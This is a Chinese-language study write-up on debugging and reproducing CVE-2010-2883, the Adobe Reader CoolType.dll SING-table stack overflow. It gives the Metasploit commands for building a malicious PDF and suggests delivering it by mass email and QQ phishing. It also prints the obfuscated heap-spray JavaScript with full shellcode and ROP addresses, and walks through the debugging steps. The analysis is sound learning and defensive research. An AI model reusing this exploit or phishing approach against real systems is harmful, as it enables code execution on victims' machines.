初学CVE-2010-2883漏洞调试及复现

 

关于CVE-2010-2883

官方报告:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-2883

Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010. NOTE: some of these details are obtained from third party information.[1]

大致翻译:在Adobe ReaderAcrobat 9.4之前的9.x版本中用于实现CoolType(清晰显示文本的字体还原技术)技术的库CoolType.dll中在解析TrueType字体文件中的SING表的uniqueName字段时调用的strcat函数未检查长度导致存在基于栈的缓冲区溢出漏洞。远程攻击者可构造恶意的SmartINdependent Glyphlets (SING)表修改内存数据从而执行任意代码。[2]

 

攻击方视角

思路:生成一份恶意文件,但是我不知道对方是不是被攻击的版本所以采用大规模的钓鱼攻击。

  • MSF生成恶意文档(无特殊功能)
    • 搜索相关CVE一份是基于浏览器的,一份基于软件的,这里选择基于软件的

      注:原版被围了绕过一些识别,所以使用了随机字符(虽然没什么用),这里仅作示例,在

      /usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb的第102行处,可以改为sing << "A" * (0x254 - sing.length)

    • 在MSF中设置payload
      msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
      msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set CMD calc.exe
      

      就是简简单单弹出计算器

  • 大规模群发邮件、QQ消息,等待受害者上钩(谁还用这个软件啊)当受害者访问后就会下载该文件
  • 受害者访问时
    • 1.IE调用程序读取
    • 2.下载到本地进行读取只要Adobe Reader的受影响版本读取文件,就会弹出计算器

 

一些相关知识

PDF文件格式

  • 一这次的恶意文件来说,PDF文件结构主要可以分为四个部分:[3]
    • 1.首部25 50 44 46 2D 31 2E 35这样的8字节十六进制代码,解析过后是%PDF-1.5,表明这份pdf文件是1.5版本的
    • 2.文件体里面由若干个的obj对象来组成

      例如用红色框出的就是一个文件体,而且还有很多的文件提没有被框出,整理后的格式如下

      1 0 obj
      <<
      /Pages 2 0 R
      /#54#79p#65 
      /C#61t#61#6c#6f#67
      /#4fpe#6e#41#63t#69#6fn 11 0 R
      /#41#63#72#6fFo#72m 13 0 R
      >>
      endobj
      

      :含’#’的是没有被解析的字串,应该是ASCII编码,解码后如下

      1 0 obj
      <<
      /Pages 2 0 R
      /type
      /Catalog
      /OnAction 11 0 R
      /AcroForm 13 0 R
      >>
      endobj
      
      • 第一个数字称为对象号,来唯一标识一个对象的
      • 二个是产生号,是用来表明它在被创建后的第几次修改,所有新创建的PDF文件的产生号应该都是0,即第一次被创建以后没有被修改过
      • 对象的内容应该是包含在<< 和>>之间的,最后以关键字endobj结束
    • 3.交叉引用表用来索引各个obj 对象在文档中的位置,以实现随机访问,在那份文档中如下
      xref
      0 15
      0000000000 65535 f
      0000000015 00000 n
      0000000139 00000 n
      0000000262 00000 n
      0000000292 00000 n
      0000000330 00000 n
      0000000467 00000 n
      0000000501 00000 n
      0000000729 00000 n
      0000000849 00000 n
      0000001014 00000 n
      0000040804 00000 n
      0000040877 00000 n
      0000044477 00000 n
      0000044512 00000 n
      

      很明显,xref标志这部分是交叉引用表的开始,第一行数字 0 15说明对象号是从0开始,有15个对象

      0000000000 65535 f,一般每个PDF文件都是以这一行开始交叉应用表的,说明对象0的起始地址为0000000000,产生号(generation number)为65535,也是最大产生号,不可以再进行更改,而且最后对象的表示是f, 表明该对象为free, 这里,大家可以看到,其实这个对象可以看作是文件头

      0000000015 00000 n表示对象是1,其偏移为 000000001500000表示该对象未被修改过,其最大值是$2^5$=65535,n表示该对象正在使用

    • 4.尾部
      trailer
      <<
      /Size 15
      /Root 1 0 R
      >>
      startxref
      44943
      %%EOF
      
      • Size 15:说明文件对象数量为15(和上面的对象署一致)
      • Root 1 0 R:根对象号为1
      • 44943:表示交叉引用表的偏移地址,从而从文档中找到所有对象的相对地址,进而访问对象
  • 这次文件的payload所在地:使用 PDFStreamDumper 打开文件,第一个文件体
    <<
        /Pages 2 0 R
        /Type /Catalog
        /OpenAction 11 0 R
        /AcroForm 13 0 R
    >>
    

    试用了/OpenAction 11 0 R,打开第11个文件体

    <<
        /Type/Action/S/JavaScript/JS 12 0 R
    >>
    

    发先调用了JavaScript的脚本,而且脚本在第12个文件体中

    var VJvRZHcFpjfNEpkTtnYAuxxDnlJnxpugNnYjtZbeoutMEBGfJGMSwXcJQNoxFbuCEXBnLOePlaWTfwDSAywBDbWXmgXXlgtJ = unescape;
    var hIT = VJvRZHcFpjfNEpkTtnYAuxxDnlJnxpugNnYjtZbeoutMEBGfJGMSwXcJQNoxFbuCEXBnLOePlaWTfwDSAywBDbWXmgXXlgtJ( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uccdb%u74d9%uf424%u74ba%u5cde%u5eed%uc92b%u31b1%uc683%u3104%u1456%u5603%u3c60%u11a9%u4260%uea52%u2370%u0fda%u6341%u44b8%u53f1%u09ca%u18fd%ub99e%u6c76%ucd37%udb3f%ue061%u70c0%u6351%u8b42%u4386%u447b%u82db%ub9bc%ud616%ub515%uc785%u8312%u6315%u0568%u901e%u2438%u070f%u7f33%ua98f%u0b90%ub186%u36f5%u4950%ucdcd%u9b63%u2d1c%ue2cf%udc91%u2211%u3f15%u5a64%uc266%u997f%u1815%u3af5%uebbd%ue6ad%u3f3c%u6c2b%uf432%u2a3f%u0b56%u4093%u8062%u8712%ud2e3%u0330%u81a8%u1259%u6714%u4465%ud8f7%u0ec3%u0c15%u4d7e%ud373%ueb0c%ud331%uf40e%ubc65%u7f3f%ubbea%uaabf%u334f%uf78a%udcf9%u6253%u80b8%u5863%ubcfe%u69e7%u3b7e%u1bf7%u077b%uf0bf%u18f1%uf72a%u19a6%u947f%u8a29%u75e3%u2acc%u8981' );
    var lQAMgbHqymZT = VJvRZHcFpjfNEpkTtnYAuxxDnlJnxpugNnYjtZbeoutMEBGfJGMSwXcJQNoxFbuCEXBnLOePlaWTfwDSAywBDbWXmgXXlgtJ( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
    while (lQAMgbHqymZT.length + 20 + 8 < 65536) lQAMgbHqymZT+=lQAMgbHqymZT;
    OYBPCrfcAsMzkuAahWltVvxPTBqKupVrHmdBJkocCYiqZZUVgrYujDISrzqMHyrMXEELtKdFqSBhF = lQAMgbHqymZT.substring(0, (0x0c0c-0x24)/2);
    OYBPCrfcAsMzkuAahWltVvxPTBqKupVrHmdBJkocCYiqZZUVgrYujDISrzqMHyrMXEELtKdFqSBhF += hIT;
    OYBPCrfcAsMzkuAahWltVvxPTBqKupVrHmdBJkocCYiqZZUVgrYujDISrzqMHyrMXEELtKdFqSBhF += lQAMgbHqymZT;
    hkqDYNddrhgfYneKwOKKAtTK = OYBPCrfcAsMzkuAahWltVvxPTBqKupVrHmdBJkocCYiqZZUVgrYujDISrzqMHyrMXEELtKdFqSBhF.substring(0, 65536/2);
    while(hkqDYNddrhgfYneKwOKKAtTK.length < 0x80000) hkqDYNddrhgfYneKwOKKAtTK += hkqDYNddrhgfYneKwOKKAtTK;
    EnyeNUmsJFWynLNEqKXUcMEyKixUbsboPbAyQQfGWiGTmbdAcFAIoMeyaG = hkqDYNddrhgfYneKwOKKAtTK.substring(0, 0x80000 - (0x1020-0x08) / 2);
    var TPYdhHdgEGLwQmGWDRjLXfETghrqZabJpYRUFtbTCohEHyZgrWxhRqBlNhMhewhkO = new Array();
    for (SlTjOpIjUpuKTLtaeeOZUkPyDkglHMfKDRxPDBWsXWwNyMHi=0;SlTjOpIjUpuKTLtaeeOZUkPyDkglHMfKDRxPDBWsXWwNyMHi<0x1f0;SlTjOpIjUpuKTLtaeeOZUkPyDkglHMfKDRxPDBWsXWwNyMHi++) TPYdhHdgEGLwQmGWDRjLXfETghrqZabJpYRUFtbTCohEHyZgrWxhRqBlNhMhewhkO[SlTjOpIjUpuKTLtaeeOZUkPyDkglHMfKDRxPDBWsXWwNyMHi]=EnyeNUmsJFWynLNEqKXUcMEyKixUbsboPbAyQQfGWiGTmbdAcFAIoMeyaG+"s";
    

    这里使用了JS混淆所以看起来很混乱(尽管msf认为这样能绕过部分杀软)

    所有的ShellCode都被转化为了十六进制的转义序列,经过unescape解码之后存储在var_shellcode之中,var_c变量存储了%u0c0c%u0c0c,接下来用了一个while循环叠加var_c,用来覆盖内存的数据。

    采用0x0c0c0c0c作为滑板指令的原因是因为它对应的指令是or al,0x0C,这样的指令执行的效果对al寄存器不会产生任何影响[4]

    至于为什么用JS,在后面会讲到

    在第10个文件体中,我们可以找到payload

DLL文件

相当于一个游戏的mod,全称:Dynamic Link Library,包含可由多个程序,同时使用的代码和数据的库,多用于windows;对应在Linux上是libxx.so.x。

字体文件

我们要加入一种字体(如“微软雅黑”),就肯定有一份表,表上有所有的字体(或合成规则),而且这种字体文件一般以.TFF为后缀

就是文档的字体,比如对于英文来讲,26个字母每一个都有一种样式。这里面受影响的是TTF中SING字体表uniqueName字体

TTF(TrueTypeFont)是Apple公司和Microsoft公司共同推出的字体文件格式,随着windows的流行,已经变成最常用的一种字体文件表示方式。

在后续分析中会用到,那个在时候再说具体的引用

strcat函数

把src所指向的字符串(包括“\0”)复制到dest所指向的字符串后面(删除dest原来末尾的“\0”)。要保证dest足够长,以容纳被复制进来的src。src中原有的字符不变。返回指向dest的指针。

这里就是strcat的返回字串的大小没有设置正确,导致了栈溢出

 

ROP(Return Oriented Programming)

算是二进制研究的一个基本功了吧

随着 NX 保护的开启(在windows上是DEP),以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程 ——《CTFwiki》

 

Heap Spray(堆喷)

堆喷的概念

Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行[5]

Heap Spray只是一种辅助技术,需要结合其他的栈溢出或堆溢出等等各种溢出技术才能发挥作用。这种技术在CTF中不太常见,但在平时的二进制漏洞挖掘中十分常见。

Heap Spray原理

由上面的概念我们可以想象到,堆栈的分布[6]

我们可以在堆上分配一系列内存块(包含shellcode), 然后利用漏洞实现4字节改写EIP,就可以跳去执行堆上的代码。 Javascript可以直接在堆上分配字符串,通过巧妙的布置堆我们可以exploit。这也是我们在这里使用JS来放置shellcode的一个原因

当申请大量的内存到时候,堆很有可能覆盖到的地址是0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等等几个地址,可以参考下面的简图说明[5]

常规布局

堆喷后的布局

堆喷射是比较简单的一种利用方式;不同以往将shellcode存放在栈中,堆喷射将shellcode放在堆中,通过多种溢出方式组合使eip执行到0x0c0c0c0c之类(以确保运行时包含shellcode)的堆空间,好处是我们不用覆盖eip寄存器

Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

传统slide code(滑板指令)一般是NOP指令,但是随着一些新的攻击技术的出现,逐渐开始使用更多的类NOP指令,譬如0x0C(0x0C0C代表的x86指令是OR AL 0x0C),0x0D等等,不管是NOP还是0C,它们的共同特点就是不会影响shellcode的执行。[8]

其实就是塞入一大段恶意代码(由nop(或者其他无意义代码)和shellcode合成),而且重复的塞进栈里面,进行蛮力操作,最后迫使程序在不覆盖EIP时执行shellcode。

 

静态分析

因为我们这里不是漏洞挖掘者的角度,所以我们知道漏洞带你在哪里。当然,漏洞挖掘所涉及的只是太多、太杂、太难。就不在这里赘述了。

已知我们的函数报错在CoolType.dll,其中使用strcat函数时未对uniqueName字段的字符串长度进行检测,直接复制到固定大小的栈空间,最终导致栈溢出。

这里为快速定位漏洞点,有网上的资料可以得到(这个自己查看官方文档也行)

文件偏移0x11C为SING表数据结构所处位置。SING表偏移0x10处为uniqueName域,uniqueName域大小为28字节。strcat会把从“58 E0 8D AD”(在test.pdf处是“4A E0 CE 68”,都是文件偏移0x0000012C处)开始的数据复制到指定位置,直到遇见NULL。此处的TTF文件已经是包含了触发栈溢出的数据[7]

  • 1.在ida中使用字符串定位法(shift+f12)找到字符串SING,再使用’x’查看引用
  • 2.逐个排查函数再sub_803DBF2找到危险函数strcat,并将函数重命名为vuln
  • 3.对该函数具体分析再IDA中,选中函数后’f5’可以获得伪源代码以便于我们理解
    int v18; // [sp+40h] [bp-24h]@4
    ..........
    char v24; // [sp+64h] [bp+0h]@7
    ..........
    if ( v18 )
          {
            if ( !(*(_DWORD *)v18 & 0xFFFF) || (*(_DWORD *)v18 & 0xFFFF) == 0x100 )
            {
              v24 = 0;
              strcat(&v24, (const char *)(v18 + 0x10));
              sub_8001243(&v24);
              v6 = v18;
            }
            v22 = 1;
          }
    ..........
    

    其中,v18 + 0x10uniqueName相对于 SING 的偏移量

 

动态分析

有了之前的静态分析,我们可以看快速的找到断点

0x803DCA4调用了strcat,所以在这里下个断点。

  • 我用的是x32dbg,可以直接下输入模块名称,然后在模块的入口断点

断点->添加DLL断点(右键召唤)->CoolType.dll

点进去就可以直接DLL找到了

  • 这里可以同步静态分析(老动静结合了),从IDA中可以看出这个地址是DllEntryPoint,所以可以在0x803DCA4下断点了(因为没有偏移)

  • 通过在x32dbg中找到SING的引用并设置断点,运行到断点处(这里我过滤勾选了正则,这样找到的个数要少一些)

因为第二个恰好在我们漏洞函数strcat之前的最近,对它的影响也是最大的

先经过这几个步骤过后,EAX的寄存器变成了04889F4C,那么我们在下面的内存1跳转到04889F4C看看,发现文件被全部加载进了内存。

涉及到的汇编

0803DC6D | 68 4CDB1908  | push cooltype.819DB4C          | 819DB4C:"SING"
0803DC72 | 57           | push edi                       |
0803DC73 | 8D4D DC      | lea ecx,dword ptr ss:[ebp-24]  | [ebp-24]:&L"=::=::\\"
0803DC76 | E8 433EFEFF  | call cooltype.8021ABE          |
0803DC7B | 8B45 DC      | mov eax,dword ptr ss:[ebp-24]  | [ebp-24]:&L"=::=::\\"
0803DC7E | 3BC6         | cmp eax,esi                    | eax:&L"=::=::\\"

以上的指令主要就是将SING表的tag名传入到08021B06函数中通过表目录来获取到SING表的入口地址,而目前eax的值0x046BE598即是SING表的入口地址。分析SING表的这些数据,我们就能知道样本到底做了些什么

从之前的分析知道,第10个文件体是payload,就是strcat的时候我们“输入”的是这串字符

其中14 A7 82 4A 0C 0C 0C 0CC6 08 8A 4A这些地址就是我们在ret处插入的一些指令,来帮助我们实现跳转来绕过DEP保护,也就是前文提到的ROP)技术。

执行后,具体在内存中如下

这时候我们已经通过strcat把函数写到栈上面了,就等着调用SING表的时候的攻击了

多次调试发现在0808B2FA执行后,程序结束,弹出计算器。

汇编代码是

0808B2FA | FF10    | call dword ptr ds:[eax]

在栈溢出前

在栈溢出后

我们再下个断点4A80CB38

4A80CB38 | 81C5 94070000 | add ebp,794
4A80CB3E | C9            | leave      
4A80CB3F | C3            | ret

寄存器是这样的

这里的指令相当于栈迁移的技巧,将程序流迁移到4A82A712

  • 迁移过后call eax+0x5C的位置,就是call 0x0c0c0c0c
  • 执行shellcode顺着刚才地的放继续调试下去就会发现:

    shellcode使用了CreateFile 、CreateFileMapping、MapOfViewMap创建了文件iso885,并把该文件映射到了内存中。使用memcpy函数将shellcode复制到了0x3FA0000处。

    然后等待shellcode自身解密,解完后就能看到要执行的CMD命令:calc.exe

  • 最后命令被成功时执行

 

参考文章

[1]CVE-2010-2883

[2]细说CVE-2010-2883从原理分析到样本构造

[3]百度百科-pdf

[4]Adobe Reader栈溢出漏洞(CVE-2010-2883)分析

[5]Heap Spray原理浅析

[6]【技术分享】Windows Exploit开发系列教程——堆喷射(一)

[7]CVE-2010-2883分析

[8]Kernel Pwn 学习之路 – 番外

(完)